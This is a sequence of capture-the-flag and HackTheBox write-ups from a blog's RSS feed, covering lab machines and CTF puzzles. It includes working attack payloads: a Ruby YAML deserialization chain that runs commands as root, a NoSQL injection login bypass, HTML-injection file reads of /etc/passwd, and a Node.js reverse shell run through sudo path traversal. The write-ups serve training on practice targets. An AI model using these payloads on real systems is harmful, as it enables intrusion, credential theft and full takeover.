<img width="216" alt="image" src="https://user-images.githubusercontent.com/79740895/231575127-06729034-9ced-4058-bc70-6b335f7044f9.png">
<h3 id="escalating-privileges">Escalating Privileges</h3>
<p>we can see two user in /home directory.</p>
<img width="83" alt="image" src="https://user-images.githubusercontent.com/79740895/231575282-f6f90c02-7aa8-4d87-ba56-d603b07b02eb.png">
<p>user flag is in directory of user henry but it is not accessible.</p>
<p>inside the directory of user ruby there is config file in .bundle in this file we can see password of user henry.</p>
<img width="252" alt="image" src="https://user-images.githubusercontent.com/79740895/231575704-cd2668c0-8a7e-4542-91bb-669cb7bdaed1.png">
<p>we can use this for ssh to henry.</p>
<p>user can run /opt/update_dependencies.rb as root with sudo.</p>
<img width="344" alt="image" src="https://user-images.githubusercontent.com/79740895/231576872-90fbe14a-5858-4480-83a5-901366213b58.png">
<p>this file is not writable. looking at code we see it use YAML.load, which is vulnerable to deserialization attack.</p>
<img width="213" alt="image" src="https://user-images.githubusercontent.com/79740895/231577426-1faf86eb-003b-4c17-be99-0ca2b7c79a60.png">
<p>we can write in dependencies.yml.</p>
<p>payload:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-yaml" data-lang="yaml"><span class="line"><span class="cl"><span class="nn">---</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span>- !<span class="l">ruby/object:Gem::Installer</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">i</span><span class="p">:</span><span class="w"> </span><span class="l">x</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span>- !<span class="l">ruby/object:Gem::SpecFetcher</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">i</span><span class="p">:</span><span class="w"> </span><span class="kc">y</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span>- !<span class="l">ruby/object:Gem::Requirement</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">requirements</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span>!<span class="l">ruby/object:Gem::Package::TarReader</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">io</span><span class="p">:</span><span class="w"> </span><span class="cp">&amp;1</span><span class="w"> </span>!<span class="l">ruby/object:Net::BufferedIO</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">io</span><span class="p">:</span><span class="w"> </span><span class="cp">&amp;1</span><span class="w"> </span>!<span class="l">ruby/object:Gem::Package::TarReader::Entry</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">         </span><span class="nt">read</span><span class="p">:</span><span class="w"> </span><span class="m">0</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">         </span><span class="nt">header</span><span class="p">:</span><span class="w"> </span><span class="s2">&#34;abc&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">debug_output</span><span class="p">:</span><span class="w"> </span><span class="cp">&amp;1</span><span class="w"> </span>!<span class="l">ruby/object:Net::WriteAdapter</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">         </span><span class="nt">socket</span><span class="p">:</span><span class="w"> </span><span class="cp">&amp;1</span><span class="w"> </span>!<span class="l">ruby/object:Gem::RequestSet</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">             </span><span class="nt">sets</span><span class="p">:</span><span class="w"> </span>!<span class="l">ruby/object:Net::WriteAdapter</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">                 </span><span class="nt">socket</span><span class="p">:</span><span class="w"> </span>!<span class="l">ruby/module &#39;Kernel&#39;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">                 </span><span class="nt">method_id</span><span class="p">:</span><span class="w"> </span><span class="p">:</span><span class="l">system</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">             </span><span class="nt">git_set</span><span class="p">:</span><span class="w"> </span><span class="l">cat /root/root.txt</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">         </span><span class="nt">method_id</span><span class="p">:</span><span class="w"> </span><span class="p">:</span><span class="l">resolve</span><span class="w">
</span></span></span></code></pre></div><p>reference: <a href="https://gist.github.com/staaldraad/89dffe369e1454eedd3306edc8a7e565#file-ruby_yaml_load_sploit2-yaml">https://gist.github.com/staaldraad/89dffe369e1454eedd3306edc8a7e565#file-ruby_yaml_load_sploit2-yaml</a></p>
<p>now we can run this with sudo and get the root flag.</p>
<p><code>sudo /usr/bin/ruby /opt/update_dependencies.rb</code></p>
<p>This will give the root flag.</p>
<p>Happy Hacking</p>
<hr>
]]></content:encoded>
    </item>
    <item>
      <title>Stocker - HackTheBox</title>
      <link>https://aftabsama.com/writeups/hackthebox/machine-stocker/</link>
      <pubDate>Wed, 27 Sep 2023 00:00:00 +0000</pubDate>
      <guid>https://aftabsama.com/writeups/hackthebox/machine-stocker/</guid>
      <description>https://www.hackthebox.com/machines/Stocker</description>
      <content:encoded><![CDATA[<hr>
<h3 id="about-stocker">About Stocker</h3>
<ul>
<li>Stocker is a medium difficulty Linux machine that features a website running on port 80 that advertises various house furniture.</li>
<li>Through vHost enumeration the hostname <code>dev.stocker.htb</code> is identified and upon accessing it a login page is loaded that seems to be built with <code>NodeJS</code>.</li>
<li>By sending JSON data and performing a <code>NoSQL</code> injection, the login page is bypassed and access to an e-shop is granted.</li>
<li>Enumeration of this e-shop reveals that upon submitting a purchase order, a PDF is crafted that contains details about the items purchased. This functionality is vulnerable to HTML injection and can be abused to read system files through the usage of iframes.</li>
<li>The <code>index.js</code> file is then read to acquire database credentials and owed to password re-use users can log into the system over <code>SSH</code>.</li>
<li>Privileges can then be escalated by performing a path traversal attack on a command defined in the sudoers file, which contains a wildcard for executing <code>JavaScript</code> files.</li>
</ul>
<h3 id="scanning">Scanning</h3>
<p>we atart with nmap scan:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">┌──<span class="o">(</span>Jack㉿Sparrow<span class="o">)</span>-<span class="o">[</span>~/Downloads/htb/stocker<span class="o">]</span>
</span></span><span class="line"><span class="cl">└─$ sudo nmap -sS -sC -T5 10.10.11.196 -oN nmap.txt
</span></span><span class="line"><span class="cl"><span class="o">[</span>sudo<span class="o">]</span> password <span class="k">for</span> Jack:
</span></span><span class="line"><span class="cl">Starting Nmap 7.93 <span class="o">(</span> https://nmap.org <span class="o">)</span> at 2023-03-30 02:18 EDT
</span></span><span class="line"><span class="cl">Nmap scan report <span class="k">for</span> 10.10.11.196
</span></span><span class="line"><span class="cl">Host is up <span class="o">(</span>0.68s latency<span class="o">)</span>.
</span></span><span class="line"><span class="cl">Not shown: <span class="m">938</span> closed tcp ports <span class="o">(</span>reset<span class="o">)</span>, <span class="m">60</span> filtered tcp ports <span class="o">(</span>no-response<span class="o">)</span>
</span></span><span class="line"><span class="cl">PORT   STATE SERVICE
</span></span><span class="line"><span class="cl">22/tcp open  ssh
</span></span><span class="line"><span class="cl"><span class="p">|</span> ssh-hostkey:
</span></span><span class="line"><span class="cl"><span class="p">|</span>   <span class="m">3072</span> 3d12971d86bc161683608f4f06e6d54e <span class="o">(</span>RSA<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="p">|</span>   <span class="m">256</span> 7c4d1a7868ce1200df491037f9ad174f <span class="o">(</span>ECDSA<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="p">|</span>_  <span class="m">256</span> dd978050a5bacd7d55e827ed28fdaa3b <span class="o">(</span>ED25519<span class="o">)</span>
</span></span><span class="line"><span class="cl">80/tcp open  http
</span></span><span class="line"><span class="cl"><span class="p">|</span>_http-title: Did not follow redirect to http://stocker.htb
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Nmap <span class="k">done</span>: <span class="m">1</span> IP address <span class="o">(</span><span class="m">1</span> host up<span class="o">)</span> scanned in 29.93 seconds
</span></span></code></pre></div><h3 id="foothold">Foothold</h3>
<p>we have 2 ports open: 22(ssh) , 80(http).</p>
<p>add <code>stocker.htb</code> to <code>/etc/hosts</code> file.</p>
<p>visiting this page we see one comment from <code>Angoose Garden, Head of IT at Stockers Ltd.</code></p>
<p>next we try to bruteforce subdomains:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">┌──<span class="o">(</span>Jack㉿Sparrow<span class="o">)</span>-<span class="o">[</span>~<span class="o">]</span>
</span></span><span class="line"><span class="cl">└─$ gobuster vhost -u stocker.htb -w /usr/share/wordlists/dirb/common.txt  --append-domain  -t <span class="nv">100</span>
</span></span><span class="line"><span class="cl"><span class="o">===============================================================</span>
</span></span><span class="line"><span class="cl">Gobuster v3.5
</span></span><span class="line"><span class="cl">by OJ Reeves <span class="o">(</span>@TheColonial<span class="o">)</span> <span class="p">&amp;</span> Christian Mehlmauer <span class="o">(</span>@firefart<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">===============================================================</span>
</span></span><span class="line"><span class="cl"><span class="o">[</span>+<span class="o">]</span> Url:             http://stocker.htb
</span></span><span class="line"><span class="cl"><span class="o">[</span>+<span class="o">]</span> Method:          GET
</span></span><span class="line"><span class="cl"><span class="o">[</span>+<span class="o">]</span> Threads:         <span class="m">100</span>
</span></span><span class="line"><span class="cl"><span class="o">[</span>+<span class="o">]</span> Wordlist:        /usr/share/wordlists/dirb/common.txt
</span></span><span class="line"><span class="cl"><span class="o">[</span>+<span class="o">]</span> User Agent:      gobuster/3.5
</span></span><span class="line"><span class="cl"><span class="o">[</span>+<span class="o">]</span> Timeout:         10s
</span></span><span class="line"><span class="cl"><span class="o">[</span>+<span class="o">]</span> Append Domain:   <span class="nb">true</span>
</span></span><span class="line"><span class="cl"><span class="o">===============================================================</span>
</span></span><span class="line"><span class="cl">2023/03/30 02:44:46 Starting gobuster in VHOST enumeration <span class="nv">mode</span>
</span></span><span class="line"><span class="cl"><span class="o">===============================================================</span>
</span></span><span class="line"><span class="cl">Found: dev.stocker.htb Status: <span class="m">302</span> <span class="o">[</span>Size: 28<span class="o">]</span> <span class="o">[</span>--&gt; /login<span class="o">]</span>
</span></span><span class="line"><span class="cl">Progress: <span class="m">4614</span> / <span class="m">4615</span> <span class="o">(</span>99.98%<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">===============================================================</span>
</span></span><span class="line"><span class="cl">2023/03/30 02:45:04 <span class="nv">Finished</span>
</span></span><span class="line"><span class="cl"><span class="o">===============================================================</span>
</span></span></code></pre></div><p>again we need to add <code>dev.stocker.htb</code> to <code>/etc/hosts</code> file.</p>
<h4 id="nosql-injection-login-bypass">NoSQL Injection Login bypass</h4>
<p>after few try and errors we found that login page is vulnerable to NoSQL Injection.</p>
<p><code>Content-Type: application/json</code></p>
<p>Payload: <code>{&quot;username&quot;: {&quot;$ne&quot;: null}, &quot;password&quot;: {&quot;$ne&quot;: null}}</code></p>
<p>here we can purchase something through api and on view order it will generate pdf or that order.</p>
<p>Since it generates PDF on the server side, let&rsquo;s see if we can include server files.</p>
<h4 id="read-local-files-using-pdf-generation">Read local files using PDF generation</h4>
<p>Let&rsquo;s try to Read local file.</p>
<p>Path:<code>api/order</code>
Payload:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">{</span><span class="nt">&#34;basket&#34;</span><span class="p">:[{</span><span class="nt">&#34;_id&#34;</span><span class="p">:</span><span class="s2">&#34;638f116eeb060210cbd83a8d&#34;</span><span class="p">,</span><span class="nt">&#34;title&#34;</span><span class="p">:</span><span class="s2">&#34;&lt;object data=&#39;file:///etc/passwd&#39;&gt;&#34;</span><span class="p">,</span><span class="nt">&#34;description&#34;</span><span class="p">:</span><span class="s2">&#34;It&#39;s a red cup.&#34;</span><span class="p">,</span><span class="nt">&#34;image&#34;</span><span class="p">:</span><span class="s2">&#34;/etc/passwd&#34;</span><span class="p">,</span><span class="nt">&#34;price&#34;</span><span class="p">:</span><span class="mi">32</span><span class="p">,</span><span class="nt">&#34;currentStock&#34;</span><span class="p">:</span><span class="mi">4</span><span class="p">,</span><span class="nt">&#34;__v&#34;</span><span class="p">:</span><span class="mi">0</span><span class="p">,</span><span class="nt">&#34;amount&#34;</span><span class="p">:</span><span class="mi">1</span><span class="p">}]}</span>
</span></span></code></pre></div><p>response:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">{</span><span class="nt">&#34;success&#34;</span><span class="p">:</span><span class="kc">true</span><span class="p">,</span><span class="nt">&#34;orderId&#34;</span><span class="p">:</span><span class="s2">&#34;642550c92e188ca84f0a3f46&#34;</span><span class="p">}</span>
</span></span></code></pre></div><p>we can see generated PDF at <code>/api/po/642550c92e188ca84f0a3f46</code>.</p>
<img width="498" alt="image" src="https://user-images.githubusercontent.com/79740895/228787287-27642032-742a-400f-9b1d-e7814137d623.png">
<p>We can modify our payload to increase the view area:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">{</span><span class="nt">&#34;basket&#34;</span><span class="p">:[{</span><span class="nt">&#34;_id&#34;</span><span class="p">:</span><span class="s2">&#34;638f116eeb060210cbd83a8d&#34;</span><span class="p">,</span><span class="nt">&#34;title&#34;</span><span class="p">:</span><span class="s2">&#34;&lt;object data=&#39;file:///var/www/dev/index.js&#39; height=800 width=800&gt;&#34;</span><span class="p">,</span><span class="nt">&#34;description&#34;</span><span class="p">:</span><span class="s2">&#34;It&#39;s a red cup.&#34;</span><span class="p">,</span><span class="nt">&#34;image&#34;</span><span class="p">:</span><span class="s2">&#34;Yo&#34;</span><span class="p">,</span><span class="nt">&#34;price&#34;</span><span class="p">:</span><span class="mi">32</span><span class="p">,</span><span class="nt">&#34;currentStock&#34;</span><span class="p">:</span><span class="mi">4</span><span class="p">,</span><span class="nt">&#34;__v&#34;</span><span class="p">:</span><span class="mi">0</span><span class="p">,</span><span class="nt">&#34;amount&#34;</span><span class="p">:</span><span class="mi">1</span><span class="p">}]}</span>
</span></span></code></pre></div><p>result:</p>
<img width="324" alt="image" src="https://user-images.githubusercontent.com/79740895/228790867-552de9df-6da5-4534-a6da-f457149e974b.png">
<p>we found Password: <code>IHeardPassphrasesArePrettySecure</code></p>
<p>previously we show one comment from Angoose Garden, Head of IT at Stockers Ltd.</p>
<p>we can try this username:<code>Angoose</code> and password on ssh.</p>
<img width="228" alt="image" src="https://user-images.githubusercontent.com/79740895/228792401-92e175e9-5868-4f29-9276-513a2303d220.png">
<h3 id="escalating-privileges">Escalating Privileges</h3>
<p>chech root Permission using <code>sudo -l</code></p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">angoose@stocker:~$ sudo -l
</span></span><span class="line"><span class="cl"><span class="o">[</span>sudo<span class="o">]</span> password <span class="k">for</span> angoose:
</span></span><span class="line"><span class="cl">Sorry, try again.
</span></span><span class="line"><span class="cl"><span class="o">[</span>sudo<span class="o">]</span> password <span class="k">for</span> angoose:
</span></span><span class="line"><span class="cl">Matching Defaults entries <span class="k">for</span> angoose on stocker:
</span></span><span class="line"><span class="cl">    env_reset, mail_badpass,
</span></span><span class="line"><span class="cl">    <span class="nv">secure_path</span><span class="o">=</span>/usr/local/sbin<span class="se">\:</span>/usr/local/bin<span class="se">\:</span>/usr/sbin<span class="se">\:</span>/usr/bin<span class="se">\:</span>/sbin<span class="se">\:</span>/bin<span class="se">\:</span>/snap/bin
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">User angoose may run the following commands on stocker:
</span></span><span class="line"><span class="cl">    <span class="o">(</span>ALL<span class="o">)</span> /usr/bin/node /usr/local/scripts/*.js
</span></span></code></pre></div><p>we can escalate our privilege with node</p>
<p>Payload:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="p">(</span><span class="kd">function</span><span class="p">(){</span>
</span></span><span class="line"><span class="cl">    <span class="kd">var</span> <span class="nx">net</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="s2">&#34;net&#34;</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">        <span class="nx">cp</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="s2">&#34;child_process&#34;</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">        <span class="nx">sh</span> <span class="o">=</span> <span class="nx">cp</span><span class="p">.</span><span class="nx">spawn</span><span class="p">(</span><span class="s2">&#34;bash&#34;</span><span class="p">,</span> <span class="p">[]);</span>
</span></span><span class="line"><span class="cl">    <span class="kd">var</span> <span class="nx">client</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">net</span><span class="p">.</span><span class="nx">Socket</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">    <span class="nx">client</span><span class="p">.</span><span class="nx">connect</span><span class="p">(</span><span class="mi">8888</span><span class="p">,</span> <span class="s2">&#34;127.0.0.1&#34;</span><span class="p">,</span> <span class="kd">function</span><span class="p">(){</span>
</span></span><span class="line"><span class="cl">        <span class="nx">client</span><span class="p">.</span><span class="nx">pipe</span><span class="p">(</span><span class="nx">sh</span><span class="p">.</span><span class="nx">stdin</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nx">sh</span><span class="p">.</span><span class="nx">stdout</span><span class="p">.</span><span class="nx">pipe</span><span class="p">(</span><span class="nx">client</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nx">sh</span><span class="p">.</span><span class="nx">stderr</span><span class="p">.</span><span class="nx">pipe</span><span class="p">(</span><span class="nx">client</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">});</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="sr">/a/</span><span class="p">;</span> <span class="c1">// Prevents the Node.js application from crashing
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="p">})();</span>
</span></span></code></pre></div><p>Reference: <a href="https://www.revshells.com/">https://www.revshells.com/</a></p>
<p>save this as js file and run using sudo and path traversal.</p>
<img width="343" alt="image" src="https://user-images.githubusercontent.com/79740895/228799823-4734593e-c124-4224-ba63-a028a4618805.png">
<img width="200" alt="image" src="https://user-images.githubusercontent.com/79740895/228798809-70c77d3a-894a-4cb9-80fc-49fb48994544.png">
<p>Now we are root.</p>
<p>Happy Hacking</p>
<hr>
]]></content:encoded>
    </item>
    <item>
      <title>Cyber Heroines CTF 2023</title>
      <link>https://aftabsama.com/writeups/ctf/cyber-heroines-2023/</link>
      <pubDate>Fri, 08 Sep 2023 00:00:00 +0000</pubDate>
      <guid>https://aftabsama.com/writeups/ctf/cyber-heroines-2023/</guid>
      <description>Write-ups for the Cyber Heroines CTF 2023 challenges.</description>
      <content:encoded><![CDATA[<hr>
<blockquote>
<p>Competition Begins: 5:00 PM EST Sept 8, 2023, <br>
Competition Ends: 5:00 PM EST Sept 10, 2023</p></blockquote>
<p><a href="https://cyberheroines.ctfd.io/">https://cyberheroines.ctfd.io/</a></p>
<h2 id="crypto">Crypto</h2>
<h3 id="sophie-wilson">Sophie Wilson</h3>
<p>Description:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">Sophie Mary Wilson CBE FRS FREng DistFBCS (born Roger Wilson; June 1957) is an English computer scientist, who helped design the BBC Micro and ARM architecture. Wilson first designed a microcomputer during a break from studies at Selwyn College, Cambridge. She subsequently joined Acorn Computers and was instrumental in designing the BBC Micro, including the BBC BASIC programming language whose development she led for the next 15 years. She first began designing the ARM reduced instruction set computer (RISC) in 1983, which entered production two years later. - Wikipedia Entry
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Chal: Help this designer of microprocessors solve this RSA challenge.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Author: Prajakta
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">n = 784605825796844081743664431959835176263022075947576226438671818152943359270141637991489766023643446015742865872000712625430019936454136740701797771130286509865524144933694390307166660453460378136369217557779691427646557961148142476343174636983719280360074558519378409301540506901821748421856695675459425181027041415137193539255615283103443383731129040200129789041119575028910307276622636732661309395711116526188754319667121446052611898829881012810646321599196591757220306998192832374480348722019767057745155849389438587835412231637677550414009243002286940429895577714131959738234773350507989760061442329017775745849359050846635004038440930201719911010249665164009994722320760601629833907039218711773510746120996003955187137814259297909342016383387070174719845935624155702812544944516684331238915119709331429477385582329907357570479058128093340104405708989234237510349688389032334786183065686034574477807623401744101315114981390853183569062407956733111357740976841307293694669943756094245305426874297375074750689836099469106599572126616892447581026611947596122433260841436234316820067372162711310636028751984204768054655406327047223250327323182558843986421816373935439976256688835521454318161553726050385094844798296897844392636332777
</span></span><span class="line"><span class="cl">e = 5
</span></span><span class="line"><span class="cl">c = 268593521627440355433888284074970889184087304017829415653214811933857946727694253029979429970950656279149253529187901591829277689165827531120813402199222392031974802458605195286640398523506218117737453271031755512785665400604866722911900724895012035864819085755503886111445816515363877649988898269507252859237015154889693222457900543963979126889264480746852695168237115525211083264827612117674145414459016059712297731655462334276493
</span></span></code></pre></div><p>Here the <code>e</code> is small and n is too large, so <code>m^e &lt; N</code></p>
<p>We can get the message by just doing 5th root of <code>c</code>.</p>
<p>Python code:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">gmpy2</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">Cryptodome.Util.number</span> <span class="kn">import</span> <span class="n">long_to_bytes</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">n</span> <span class="o">=</span> <span class="mi">784605825796844081743664431959835176263022075947576226438671818152943359270141637991489766023643446015742865872000712625430019936454136740701797771130286509865524144933694390307166660453460378136369217557779691427646557961148142476343174636983719280360074558519378409301540506901821748421856695675459425181027041415137193539255615283103443383731129040200129789041119575028910307276622636732661309395711116526188754319667121446052611898829881012810646321599196591757220306998192832374480348722019767057745155849389438587835412231637677550414009243002286940429895577714131959738234773350507989760061442329017775745849359050846635004038440930201719911010249665164009994722320760601629833907039218711773510746120996003955187137814259297909342016383387070174719845935624155702812544944516684331238915119709331429477385582329907357570479058128093340104405708989234237510349688389032334786183065686034574477807623401744101315114981390853183569062407956733111357740976841307293694669943756094245305426874297375074750689836099469106599572126616892447581026611947596122433260841436234316820067372162711310636028751984204768054655406327047223250327323182558843986421816373935439976256688835521454318161553726050385094844798296897844392636332777</span>
</span></span><span class="line"><span class="cl"><span class="n">e</span> <span class="o">=</span> <span class="mi">5</span>
</span></span><span class="line"><span class="cl"><span class="n">c</span> <span class="o">=</span> <span class="mi">268593521627440355433888284074970889184087304017829415653214811933857946727694253029979429970950656279149253529187901591829277689165827531120813402199222392031974802458605195286640398523506218117737453271031755512785665400604866722911900724895012035864819085755503886111445816515363877649988898269507252859237015154889693222457900543963979126889264480746852695168237115525211083264827612117674145414459016059712297731655462334276493</span>
</span></span><span class="line"><span class="cl"><span class="n">gmpy2</span><span class="o">.</span><span class="n">get_context</span><span class="p">()</span><span class="o">.</span><span class="n">precision</span> <span class="o">=</span> <span class="mi">600</span>
</span></span><span class="line"><span class="cl"><span class="n">m</span> <span class="o">=</span> <span class="n">gmpy2</span><span class="o">.</span><span class="n">root</span><span class="p">(</span><span class="n">c</span><span class="p">,</span> <span class="mi">5</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">long_to_bytes</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">m</span><span class="p">)))</span>
</span></span></code></pre></div><p>flag: <code>chctf{d3516n3d_4c0rn_m1cr0_c0mpu73r}</code></p>
<br>
<h2 id="web">Web</h2>
<h3 id="grace-hopper">Grace Hopper</h3>
<p>Description:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-gdscript3" data-lang="gdscript3"><span class="line"><span class="cl"><span class="n">Grace</span> <span class="n">Brewster</span> <span class="n">Hopper</span> <span class="p">(</span><span class="n">née</span> <span class="n">Murray</span><span class="p">;</span> <span class="n">December</span> <span class="mi">9</span><span class="p">,</span> <span class="mi">1906</span> <span class="err">–</span> <span class="n">January</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1992</span><span class="p">)</span> <span class="n">was</span> <span class="n">an</span> <span class="n">American</span> <span class="n">computer</span> <span class="n">scientist</span><span class="p">,</span> <span class="n">mathematician</span><span class="p">,</span> <span class="ow">and</span> <span class="n">United</span> <span class="n">States</span> <span class="n">Navy</span> <span class="n">rear</span> <span class="n">admiral</span><span class="o">.</span> <span class="n">One</span> <span class="n">of</span> <span class="n">the</span> <span class="n">first</span> <span class="n">programmers</span> <span class="n">of</span> <span class="n">the</span> <span class="n">Harvard</span> <span class="n">Mark</span> <span class="n">I</span> <span class="n">computer</span><span class="p">,</span> <span class="n">she</span> <span class="n">was</span> <span class="n">a</span> <span class="n">pioneer</span> <span class="n">of</span> <span class="n">computer</span> <span class="n">programming</span> <span class="n">who</span> <span class="n">invented</span> <span class="n">one</span> <span class="n">of</span> <span class="n">the</span> <span class="n">first</span> <span class="n">linkers</span><span class="o">.</span> <span class="n">Hopper</span> <span class="n">was</span> <span class="n">the</span> <span class="n">first</span> <span class="n">to</span> <span class="n">devise</span> <span class="n">the</span> <span class="n">theory</span> <span class="n">of</span> <span class="n">machine</span><span class="o">-</span><span class="n">independent</span> <span class="n">programming</span> <span class="n">languages</span><span class="p">,</span> <span class="ow">and</span> <span class="n">the</span> <span class="n">FLOW</span><span class="o">-</span><span class="n">MATIC</span> <span class="n">programming</span> <span class="n">language</span> <span class="n">she</span> <span class="n">created</span> <span class="n">using</span> <span class="n">this</span> <span class="n">theory</span> <span class="n">was</span> <span class="n">later</span> <span class="n">extended</span> <span class="n">to</span> <span class="n">create</span> <span class="n">COBOL</span><span class="p">,</span> <span class="n">an</span> <span class="n">early</span> <span class="n">high</span><span class="o">-</span><span class="n">level</span> <span class="n">programming</span> <span class="n">language</span> <span class="n">still</span> <span class="ow">in</span> <span class="n">use</span> <span class="n">today</span><span class="o">.</span> <span class="o">-</span> <span class="n">Wikipedia</span> <span class="n">Entry</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">Chal</span><span class="p">:</span> <span class="n">Command</span> <span class="n">this</span> <span class="n">webapp</span> <span class="n">like</span> <span class="n">this</span> <span class="n">Navy</span> <span class="n">Real</span> <span class="n">Admiral</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">Alternate</span> <span class="p">(</span><span class="n">Better</span><span class="p">)</span> <span class="n">Connection</span><span class="p">:</span> <span class="n">webapp</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">Author</span><span class="p">:</span> <span class="n">Sandesh</span>
</span></span></code></pre></div><p>Link: <a href="https://cyberheroines-web-srv2.chals.io/vulnerable.php">https://cyberheroines-web-srv2.chals.io/vulnerable.php</a></p>
<p>On this site we can execute few commands on running <code>dir</code> command we can see all files:</p>
<p><img alt="image" loading="lazy" src="/writeups/ctf/cyber-heroines-2023/md/b1b5bd6a-1b58-44fb-a0d4-9b2fbc6faf23.webp"></p>
<p>The flag is in the <code>https://cyberheroines-web-srv2.chals.io/cyberheroines.sh</code> file.</p>
<p>flag: <code>CHCTF{t#!$_!s_T#3_w@Y}</code></p>
<br>
<h2 id="forensics">Forensics</h2>
<h3 id="barbara-liskov">Barbara Liskov</h3>
<p>Description:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">Barbara Liskov (born November 7, 1939 as Barbara Jane Huberman) is an American computer scientist who has made pioneering contributions to programming languages and distributed computing. Her notable work includes the development of the Liskov substitution principle which describes the fundamental nature of data abstraction, and is used in type theory (see subtyping) and in object-oriented programming (see inheritance). Her work was recognized with the 2008 Turing Award, the highest distinction in computer science. - Wikipedia Entry
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Chal: Return the flag back to the 2008 Turing Award Winner
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Author: Josh
</span></span></code></pre></div><p>file: BarbaraLiskov.pyc</p>
<p>In this file we can see one Base64 text: <code>Y2hjdGZ7dV9uM3Yzcl9uMzNkXzBwdDFtNGxfcDNyZjBybTRuYzMsX3VfbjMzZF9nMDBkLTNuMHVnaF9wM3JmMHJtNG5jM30=</code> this is the flag.</p>
<p>flag: <code>chctf{u_n3v3r_n33d_0pt1m4l_p3rf0rm4nc3,_u_n33d_g00d-3n0ugh_p3rf0rm4nc3}</code></p>
<br>
<h3 id="margaret-hamilton">Margaret Hamilton</h3>
<p>Description:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[Margaret Elaine Hamilton](https://en.wikipedia.org/wiki/Margaret_Hamilton_(software_engineer) (née Heafield; born August 17, 1936) is an American computer scientist, systems engineer, and business owner. She was director of the Software Engineering Division of the MIT Instrumentation Laboratory, which developed on-board flight software for NASA&#39;s Apollo program. She later founded two software companies—Higher Order Software in 1976 and Hamilton Technologies in 1986, both in Cambridge, Massachusetts. - [Wikipedia Entry](https://en.wikipedia.org/wiki/Margaret_Hamilton_(software_engineer)
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Chal: Return the flag to NASAs first software engineer.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Author: Rusheel
